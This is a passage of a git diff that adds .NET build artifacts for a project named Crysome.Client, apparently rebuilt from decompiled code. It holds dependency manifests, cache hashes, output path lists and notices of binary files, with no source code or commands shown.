+C:\Users\lukas\.nuget\packages\entityframework\6.4.4\lib\net45\EntityFramework.dll +C:\Users\lukas\.nuget\packages\libjpeg-turbo-native-win\2.0.15\lib\netstandard2.0\libjpeg-turbo-native-win.dll +C:\Users\lukas\.nuget\packages\libjpeg-turbo-net\2.0.15\lib\netstandard2.0\libjpeg-turbo-net.dll +C:\Users\lukas\.nuget\packages\microsoft.bcl.asyncinterfaces\8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll +C:\Users\lukas\.nuget\packages\microsoft.win32.primitives\4.3.0\lib\net46\Microsoft.Win32.Primitives.dll +C:\Users\lukas\.nuget\packages\microsoft.win32.registry\4.7.0\runtimes\win\lib\net461\Microsoft.Win32.Registry.dll +C:\Users\lukas\.nuget\packages\naudio\2.2.1\lib\net472\NAudio.dll +C:\Users\lukas\.nuget\packages\naudio.asio\2.2.1\lib\netstandard2.0\NAudio.Asio.dll +C:\Users\lukas\.nuget\packages\naudio.core\2.2.1\lib\netstandard2.0\NAudio.Core.dll +C:\Users\lukas\.nuget\packages\naudio.midi\2.2.1\lib\netstandard2.0\NAudio.Midi.dll +C:\Users\lukas\.nuget\packages\naudio.wasapi\2.2.1\lib\netstandard2.0\NAudio.Wasapi.dll +C:\Users\lukas\.nuget\packages\naudio.winforms\2.2.1\lib\net472\NAudio.WinForms.dll +C:\Users\lukas\.nuget\packages\naudio.winmm\2.2.1\lib\netstandard2.0\NAudio.WinMM.dll +C:\Users\lukas\.nuget\packages\sharpdx\4.2.0\lib\net45\SharpDX.dll +C:\Users\lukas\.nuget\packages\sharpdx.direct3d11\4.2.0\lib\net45\SharpDX.Direct3D11.dll +C:\Users\lukas\.nuget\packages\sharpdx.dxgi\4.2.0\lib\net45\SharpDX.DXGI.dll +C:\Users\lukas\.nuget\packages\stub.system.data.sqlite.core.netframework\1.0.119\lib\net46\System.Data.SQLite.dll +C:\Users\lukas\.nuget\packages\system.appcontext\4.3.0\lib\net463\System.AppContext.dll +C:\Users\lukas\.nuget\packages\system.buffers\4.6.0\lib\net462\System.Buffers.dll +C:\Users\lukas\.nuget\packages\system.console\4.3.0\lib\net46\System.Console.dll +C:\Users\lukas\.nuget\packages\system.data.sqlite.ef6\1.0.119\lib\net46\System.Data.SQLite.EF6.dll +C:\Users\lukas\.nuget\packages\system.data.sqlite.linq\1.0.119\lib\net46\System.Data.SQLite.Linq.dll +C:\Users\lukas\.nuget\packages\system.diagnostics.diagnosticsource\4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll +C:\Users\lukas\.nuget\packages\system.diagnostics.tracing\4.3.0\lib\net462\System.Diagnostics.Tracing.dll +C:\Users\lukas\.nuget\packages\system.globalization.calendars\4.3.0\lib\net46\System.Globalization.Calendars.dll +C:\Users\lukas\.nuget\packages\system.io\4.3.0\lib\net462\System.IO.dll +C:\Users\lukas\.nuget\packages\system.io.compression\4.3.0\runtimes\win\lib\net46\System.IO.Compression.dll +C:\Users\lukas\.nuget\packages\system.io.compression.zipfile\4.3.0\lib\net46\System.IO.Compression.ZipFile.dll +C:\Users\lukas\.nuget\packages\system.io.filesystem\4.3.0\lib\net46\System.IO.FileSystem.dll +C:\Users\lukas\.nuget\packages\system.io.filesystem.primitives\4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll +C:\Users\lukas\.nuget\packages\system.linq\4.3.0\lib\net463\System.Linq.dll +C:\Users\lukas\.nuget\packages\system.linq.expressions\4.3.0\lib\net463\System.Linq.Expressions.dll +C:\Users\lukas\.nuget\packages\system.memory\4.6.0\lib\net462\System.Memory.dll +C:\Users\lukas\.nuget\packages\system.net.http\4.3.0\runtimes\win\lib\net46\System.Net.Http.dll +C:\Users\lukas\.nuget\packages\system.net.sockets\4.3.0\lib\net46\System.Net.Sockets.dll +C:\Users\lukas\.nuget\packages\system.numerics.vectors\4.6.0\lib\net462\System.Numerics.Vectors.dll +C:\Users\lukas\.nuget\packages\system.reflection\4.3.0\lib\net462\System.Reflection.dll +C:\Users\lukas\.nuget\packages\system.runtime\4.3.0\lib\net462\System.Runtime.dll +C:\Users\lukas\.nuget\packages\system.runtime.compilerservices.unsafe\6.1.0\lib\net462\System.Runtime.CompilerServices.Unsafe.dll +C:\Users\lukas\.nuget\packages\system.runtime.extensions\4.3.0\lib\net462\System.Runtime.Extensions.dll +C:\Users\lukas\.nuget\packages\system.runtime.interopservices\4.3.0\lib\net463\System.Runtime.InteropServices.dll +C:\Users\lukas\.nuget\packages\system.runtime.interopservices.runtimeinformation\4.3.0\runtimes\win\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll +C:\Users\lukas\.nuget\packages\system.security.accesscontrol\4.7.0\runtimes\win\lib\net461\System.Security.AccessControl.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.algorithms\4.3.0\runtimes\win\lib\net463\System.Security.Cryptography.Algorithms.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.encoding\4.3.0\runtimes\win\lib\net46\System.Security.Cryptography.Encoding.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.primitives\4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll +C:\Users\lukas\.nuget\packages\system.security.cryptography.x509certificates\4.3.0\runtimes\win\lib\net461\System.Security.Cryptography.X509Certificates.dll +C:\Users\lukas\.nuget\packages\system.security.principal.windows\4.7.0\runtimes\win\lib\net461\System.Security.Principal.Windows.dll +C:\Users\lukas\.nuget\packages\system.text.encodings.web\8.0.0\lib\net462\System.Text.Encodings.Web.dll +C:\Users\lukas\.nuget\packages\system.text.json\8.0.5\lib\net462\System.Text.Json.dll +C:\Users\lukas\.nuget\packages\system.text.regularexpressions\4.3.0\lib\net463\System.Text.RegularExpressions.dll +C:\Users\lukas\.nuget\packages\system.threading.tasks.extensions\4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll +C:\Users\lukas\.nuget\packages\system.valuetuple\4.5.0\lib\net47\System.ValueTuple.dll +C:\Users\lukas\.nuget\packages\system.xml.readerwriter\4.3.0\lib\net46\System.Xml.ReaderWriter.dll diff --git a/Crysome.Client/obj/Release/Crysome.Client.csproj.SuggestedBindingRedirects.cache b/Crysome.Client/obj/Release/Crysome.Client.csproj.SuggestedBindingRedirects.cache new file mode 100644 index 0000000..b57eaae --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.csproj.SuggestedBindingRedirects.cache @@ -0,0 +1 @@ +44b643cf61902f7025160687c952b6cdeaea31a8ec1bbb8168236340253f84ca diff --git a/Crysome.Client/obj/Release/Crysome.Client.exe b/Crysome.Client/obj/Release/Crysome.Client.exe new file mode 100644 index 0000000..7036ac1 Binary files /dev/null and b/Crysome.Client/obj/Release/Crysome.Client.exe differ diff --git a/Crysome.Client/obj/Release/Crysome.Client.exe.config b/Crysome.Client/obj/Release/Crysome.Client.exe.config new file mode 100644 index 0000000..0e37c11 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.exe.config @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Crysome.Client/obj/Release/Crysome.Client.exe.withSupportedRuntime.config b/Crysome.Client/obj/Release/Crysome.Client.exe.withSupportedRuntime.config new file mode 100644 index 0000000..dbd8e99 --- /dev/null +++ b/Crysome.Client/obj/Release/Crysome.Client.exe.withSupportedRuntime.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Crysome.Client/obj/Release/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Client/obj/Release/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Client/obj/Release/win-x64/Crysome..2BF6066E.Up2Date b/Crysome.Client/obj/Release/win-x64/Crysome..2BF6066E.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Client/obj/Release/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..11111b7 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,28 @@ +is_global = true +build_property.EnableAotAnalyzer = +build_property.EnableSingleFileAnalyzer = true +build_property.EnableTrimAnalyzer = +build_property.IncludeAllContentForSelfExtract = true +build_property.ApplicationManifest = +build_property.StartupObject = +build_property.ApplicationDefaultFont = +build_property.ApplicationHighDpiMode = +build_property.ApplicationUseCompatibleTextRendering = +build_property.ApplicationVisualStyles = +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Client +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.assets.cache b/Crysome.Client/obj/Release/win-x64/Crysome.Client.assets.cache new file mode 100644 index 0000000..a3ea36b Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/Crysome.Client.assets.cache differ diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.AssemblyReference.cache b/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.AssemblyReference.cache new file mode 100644 index 0000000..a28c902 Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.AssemblyReference.cache differ diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.CoreCompileInputs.cache b/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..8020188 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +0097a84f0441ba2763193dd45cedc5e5359eca84e86093da45cbcbe96544651a diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.FileListAbsolute.txt b/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..a0bb255 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.csproj.FileListAbsolute.txt @@ -0,0 +1,14 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.exe +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.runtimeconfig.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\win-x64\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome.Client.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome.Client.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome.Client.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome..2BF6066E.Up2Date +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\refint\Crysome.Client.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\Crysome.Client.genruntimeconfig.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Client\obj\Release\win-x64\ref\Crysome.Client.dll diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.deps.json b/Crysome.Client/obj/Release/win-x64/Crysome.Client.deps.json new file mode 100644 index 0000000..c393629 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.deps.json @@ -0,0 +1,337 @@ +{ + "runtimeTarget": { + "name": ".NETCoreApp,Version=v9.0/win-x64", + "signature": "" + }, + "compilationOptions": {}, + "targets": { + ".NETCoreApp,Version=v9.0": {}, + ".NETCoreApp,Version=v9.0/win-x64": { + "Crysome.Client/1.0.0": { + "dependencies": { + "AForge.Video": "2.2.5", + "AForge.Video.DirectShow": "2.2.5", + "Crysome.Common": "1.0.0", + "Microsoft.Data.Sqlite": "9.0.0", + "NAudio": "2.2.1", + "System.Management": "9.0.0" + }, + "runtime": { + "Crysome.Client.dll": {} + } + }, + "AForge/2.2.5": { + "runtime": { + "lib/AForge.dll": { + "assemblyVersion": "2.2.5.0", + "fileVersion": "2.2.5.0" + } + } + }, + "AForge.Video/2.2.5": { + "dependencies": { + "AForge": "2.2.5" + }, + "runtime": { + "lib/AForge.Video.dll": { + "assemblyVersion": "2.2.5.0", + "fileVersion": "2.2.5.0" + } + } + }, + "AForge.Video.DirectShow/2.2.5": { + "dependencies": { + "AForge.Video": "2.2.5" + }, + "runtime": { + "lib/AForge.Video.DirectShow.dll": { + "assemblyVersion": "2.2.5.0", + "fileVersion": "2.2.5.0" + } + } + }, + "Microsoft.Data.Sqlite/9.0.0": { + "dependencies": { + "Microsoft.Data.Sqlite.Core": "9.0.0", + "SQLitePCLRaw.bundle_e_sqlite3": "2.1.10", + "SQLitePCLRaw.core": "2.1.10" + } + }, + "Microsoft.Data.Sqlite.Core/9.0.0": { + "dependencies": { + "SQLitePCLRaw.core": "2.1.10" + }, + "runtime": { + "lib/net8.0/Microsoft.Data.Sqlite.dll": { + "assemblyVersion": "9.0.0.0", + "fileVersion": "9.0.24.52902" + } + } + }, + "NAudio/2.2.1": { + "dependencies": { + "NAudio.Asio": "2.2.1", + "NAudio.Core": "2.2.1", + "NAudio.Midi": "2.2.1", + "NAudio.Wasapi": "2.2.1", + "NAudio.WinForms": "2.2.1", + "NAudio.WinMM": "2.2.1" + }, + "runtime": { + "lib/net6.0-windows7.0/NAudio.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Asio/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Core/2.2.1": { + "runtime": { + "lib/netstandard2.0/NAudio.Core.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Midi/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.Wasapi/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.WinForms/2.2.1": { + "dependencies": { + "NAudio.WinMM": "2.2.1" + }, + "runtime": { + "lib/netcoreapp3.1/NAudio.WinForms.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "NAudio.WinMM/2.2.1": { + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "runtime": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "assemblyVersion": "2.2.1.0", + "fileVersion": "2.2.1.0" + } + } + }, + "SQLitePCLRaw.bundle_e_sqlite3/2.1.10": { + "dependencies": { + "SQLitePCLRaw.lib.e_sqlite3": "2.1.10", + "SQLitePCLRaw.provider.e_sqlite3": "2.1.10" + }, + "runtime": { + "lib/netstandard2.0/SQLitePCLRaw.batteries_v2.dll": { + "assemblyVersion": "2.1.10.2445", + "fileVersion": "2.1.10.2445" + } + } + }, + "SQLitePCLRaw.core/2.1.10": { + "runtime": { + "lib/netstandard2.0/SQLitePCLRaw.core.dll": { + "assemblyVersion": "2.1.10.2445", + "fileVersion": "2.1.10.2445" + } + } + }, + "SQLitePCLRaw.lib.e_sqlite3/2.1.10": { + "native": { + "runtimes/win-x64/native/e_sqlite3.dll": { + "fileVersion": "0.0.0.0" + } + } + }, + "SQLitePCLRaw.provider.e_sqlite3/2.1.10": { + "dependencies": { + "SQLitePCLRaw.core": "2.1.10" + }, + "runtime": { + "lib/net6.0-windows7.0/SQLitePCLRaw.provider.e_sqlite3.dll": { + "assemblyVersion": "2.1.10.2445", + "fileVersion": "2.1.10.2445" + } + } + }, + "System.Management/9.0.0": { + "runtime": { + "runtimes/win/lib/net9.0/System.Management.dll": { + "assemblyVersion": "9.0.0.0", + "fileVersion": "9.0.24.52809" + } + } + }, + "Crysome.Common/1.0.0": { + "runtime": { + "Crysome.Common.dll": { + "assemblyVersion": "0.0.0.0", + "fileVersion": "0.0.0.0" + } + } + } + } + }, + "libraries": { + "Crysome.Client/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + }, + "AForge/2.2.5": { + "type": "package", + "serviceable": true, + "sha512": "sha512-clkumhM9DggqIzEXAHgVLeWO4arG5YfoPr7J4jfjJx35AoeEIJSSm49J25bwp/9mXQYLwi7y1Wunc8qgYJsGxg==", + "path": "aforge/2.2.5", + "hashPath": "aforge.2.2.5.nupkg.sha512" + }, + "AForge.Video/2.2.5": { + "type": "package", + "serviceable": true, + "sha512": "sha512-XqzcOXtBUagEPRqg/00oayxlCPmxP4284SdM62mVotsNoD03fs19BrzdMBfhUOOYPyd0B/IXH7tEWnSDmc2gxA==", + "path": "aforge.video/2.2.5", + "hashPath": "aforge.video.2.2.5.nupkg.sha512" + }, + "AForge.Video.DirectShow/2.2.5": { + "type": "package", + "serviceable": true, + "sha512": "sha512-pEch6felU/RGAbl0A7yjaQjsGxwiRFU9R+qBqR92wQo++XhzPLeQaZHnAPIBYaG7MfoqtjgCDkK4z3Tra4VQ3w==", + "path": "aforge.video.directshow/2.2.5", + "hashPath": "aforge.video.directshow.2.2.5.nupkg.sha512" + }, + "Microsoft.Data.Sqlite/9.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-lw6wthgXGx3r/U775k1UkUAWIn0kAT0wj4ZRq0WlhPx4WAOiBsIjgDKgWkXcNTGT0KfHiClkM+tyPVFDvxeObw==", + "path": "microsoft.data.sqlite/9.0.0", + "hashPath": "microsoft.data.sqlite.9.0.0.nupkg.sha512" + }, + "Microsoft.Data.Sqlite.Core/9.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-cFfZjFL+tqzGYw9lB31EkV1IWF5xRQNk2k+MQd+Cf86Gl6zTeAoiZIFw5sRB1Z8OxpEC7nu+nTDsLSjieBAPTw==", + "path": "microsoft.data.sqlite.core/9.0.0", + "hashPath": "microsoft.data.sqlite.core.9.0.0.nupkg.sha512" + }, + "NAudio/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-c0DzwiyyklM0TP39Y7RObwO3QkWecgM6H60ikiEnsV/aEAJPbj5MFCLaD8BSfKuZe0HGuh9GRGWWlJmSxDc9MA==", + "path": "naudio/2.2.1", + "hashPath": "naudio.2.2.1.nupkg.sha512" + }, + "NAudio.Asio/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-hQglyOT5iT3XuGpBP8ZG0+aoqwRfidHjTNehpoWwX0g6KJEgtH2VaqM2nuJ2mheKZa/IBqB4YQTZVvrIapzfOA==", + "path": "naudio.asio/2.2.1", + "hashPath": "naudio.asio.2.2.1.nupkg.sha512" + }, + "NAudio.Core/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-GgkdP6K/7FqXFo7uHvoqGZTJvW4z8g2IffhOO4JHaLzKCdDOUEzVKtveoZkCuUX8eV2HAINqi7VFqlFndrnz/g==", + "path": "naudio.core/2.2.1", + "hashPath": "naudio.core.2.2.1.nupkg.sha512" + }, + "NAudio.Midi/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-6r23ylGo5aeP02WFXsPquz0T0hFJWyh+7t++tz19tc3Kr38NHm+Z9j+FiAv+xkH8tZqXJqus9Q8p6u7bidIgbw==", + "path": "naudio.midi/2.2.1", + "hashPath": "naudio.midi.2.2.1.nupkg.sha512" + }, + "NAudio.Wasapi/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-lFfXoqacZZe0WqNChJgGYI+XV/n/61LzPHT3C1CJp4khoxeo2sziyX5wzNYWeCMNbsWxFvT3b3iXeY1UYjBhZw==", + "path": "naudio.wasapi/2.2.1", + "hashPath": "naudio.wasapi.2.2.1.nupkg.sha512" + }, + "NAudio.WinForms/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-DlDkewY1myY0A+3NrYRJD+MZhZV0yy1mNF6dckB27IQ9XCs/My5Ip8BZcoSHOsaPSe2GAjvoaDnk6N9w8xTv7w==", + "path": "naudio.winforms/2.2.1", + "hashPath": "naudio.winforms.2.2.1.nupkg.sha512" + }, + "NAudio.WinMM/2.2.1": { + "type": "package", + "serviceable": true, + "sha512": "sha512-xFHRFwH4x6aq3IxRbewvO33ugJRvZFEOfO62i7uQJRUNW2cnu6BeBTHUS0JD5KBucZbHZaYqxQG8dwZ47ezQuQ==", + "path": "naudio.winmm/2.2.1", + "hashPath": "naudio.winmm.2.2.1.nupkg.sha512" + }, + "SQLitePCLRaw.bundle_e_sqlite3/2.1.10": { + "type": "package", + "serviceable": true, + "sha512": "sha512-UxWuisvZ3uVcVOLJQv7urM/JiQH+v3TmaJc1BLKl5Dxfm/nTzTUrqswCqg/INiYLi61AXnHo1M1JPmPqqLnAdg==", + "path": "sqlitepclraw.bundle_e_sqlite3/2.1.10", + "hashPath": "sqlitepclraw.bundle_e_sqlite3.2.1.10.nupkg.sha512" + }, + "SQLitePCLRaw.core/2.1.10": { + "type": "package", + "serviceable": true, + "sha512": "sha512-Ii8JCbC7oiVclaE/mbDEK000EFIJ+ShRPwAvvV89GOZhQ+ZLtlnSWl6ksCNMKu/VGXA4Nfi2B7LhN/QFN9oBcw==", + "path": "sqlitepclraw.core/2.1.10", + "hashPath": "sqlitepclraw.core.2.1.10.nupkg.sha512" + }, + "SQLitePCLRaw.lib.e_sqlite3/2.1.10": { + "type": "package", + "serviceable": true, + "sha512": "sha512-mAr69tDbnf3QJpRy2nJz8Qdpebdil00fvycyByR58Cn9eARvR+UiG2Vzsp+4q1tV3ikwiYIjlXCQFc12GfebbA==", + "path": "sqlitepclraw.lib.e_sqlite3/2.1.10", + "hashPath": "sqlitepclraw.lib.e_sqlite3.2.1.10.nupkg.sha512" + }, + "SQLitePCLRaw.provider.e_sqlite3/2.1.10": { + "type": "package", + "serviceable": true, + "sha512": "sha512-uZVTi02C1SxqzgT0HqTWatIbWGb40iIkfc3FpFCpE/r7g6K0PqzDUeefL6P6HPhDtc6BacN3yQysfzP7ks+wSQ==", + "path": "sqlitepclraw.provider.e_sqlite3/2.1.10", + "hashPath": "sqlitepclraw.provider.e_sqlite3.2.1.10.nupkg.sha512" + }, + "System.Management/9.0.0": { + "type": "package", + "serviceable": true, + "sha512": "sha512-bVh4xAMI5grY5GZoklKcMBLirhC8Lqzp63Ft3zXJacwGAlLyFdF4k0qz4pnKIlO6HyL2Z4zqmHm9UkzEo6FFsA==", + "path": "system.management/9.0.0", + "hashPath": "system.management.9.0.0.nupkg.sha512" + }, + "Crysome.Common/1.0.0": { + "type": "project", + "serviceable": false, + "sha512": "" + } + } +} \ No newline at end of file diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.dll b/Crysome.Client/obj/Release/win-x64/Crysome.Client.dll new file mode 100644 index 0000000..b9dc0b2 Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/Crysome.Client.dll differ diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.genbundle.cache b/Crysome.Client/obj/Release/win-x64/Crysome.Client.genbundle.cache new file mode 100644 index 0000000..0a44e78 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.genbundle.cache @@ -0,0 +1 @@ +d323a5fd677a532145cfacabf5bd7578275a5e88b4c9317f264a992ad7ca2b82 diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.genpublishdeps.cache b/Crysome.Client/obj/Release/win-x64/Crysome.Client.genpublishdeps.cache new file mode 100644 index 0000000..52fef01 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.genpublishdeps.cache @@ -0,0 +1 @@ +d7aaec25ed4d3355d0ccaaa677391874ed8447a44aa1afe4976435661f75e266 diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.genruntimeconfig.cache b/Crysome.Client/obj/Release/win-x64/Crysome.Client.genruntimeconfig.cache new file mode 100644 index 0000000..fe9b751 --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/Crysome.Client.genruntimeconfig.cache @@ -0,0 +1 @@ +3e2de00d035c7686cc4e1fbcd90b61154ec402ff445fda0033464e325cd3263a diff --git a/Crysome.Client/obj/Release/win-x64/Crysome.Client.pdb b/Crysome.Client/obj/Release/win-x64/Crysome.Client.pdb new file mode 100644 index 0000000..f3cb847 Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/Crysome.Client.pdb differ diff --git a/Crysome.Client/obj/Release/win-x64/PublishOutputs.236865ea12.txt b/Crysome.Client/obj/Release/win-x64/PublishOutputs.236865ea12.txt new file mode 100644 index 0000000..d3de41d --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/PublishOutputs.236865ea12.txt @@ -0,0 +1,3 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Common.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Client.exe diff --git a/Crysome.Client/obj/Release/win-x64/PublishOutputs.3f955a3891.txt b/Crysome.Client/obj/Release/win-x64/PublishOutputs.3f955a3891.txt new file mode 100644 index 0000000..870e7cc --- /dev/null +++ b/Crysome.Client/obj/Release/win-x64/PublishOutputs.3f955a3891.txt @@ -0,0 +1,25 @@ +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Client.exe +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Client.dll +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Client.deps.json +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Client.runtimeconfig.json +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Client.pdb +C:\Users\lukas\AppData\Local\Temp\client-check\AForge.dll +C:\Users\lukas\AppData\Local\Temp\client-check\AForge.Video.dll +C:\Users\lukas\AppData\Local\Temp\client-check\AForge.Video.DirectShow.dll +C:\Users\lukas\AppData\Local\Temp\client-check\EntityFramework.SqlServer.dll +C:\Users\lukas\AppData\Local\Temp\client-check\EntityFramework.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.Asio.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.Core.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.Midi.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.Wasapi.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.WinForms.dll +C:\Users\lukas\AppData\Local\Temp\client-check\NAudio.WinMM.dll +C:\Users\lukas\AppData\Local\Temp\client-check\System.Data.SQLite.dll +C:\Users\lukas\AppData\Local\Temp\client-check\System.Data.SqlClient.dll +C:\Users\lukas\AppData\Local\Temp\client-check\System.Data.SQLite.EF6.dll +C:\Users\lukas\AppData\Local\Temp\client-check\System.Management.dll +C:\Users\lukas\AppData\Local\Temp\client-check\sni.dll +C:\Users\lukas\AppData\Local\Temp\client-check\SQLite.Interop.dll +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Common.dll +C:\Users\lukas\AppData\Local\Temp\client-check\Crysome.Common.pdb diff --git 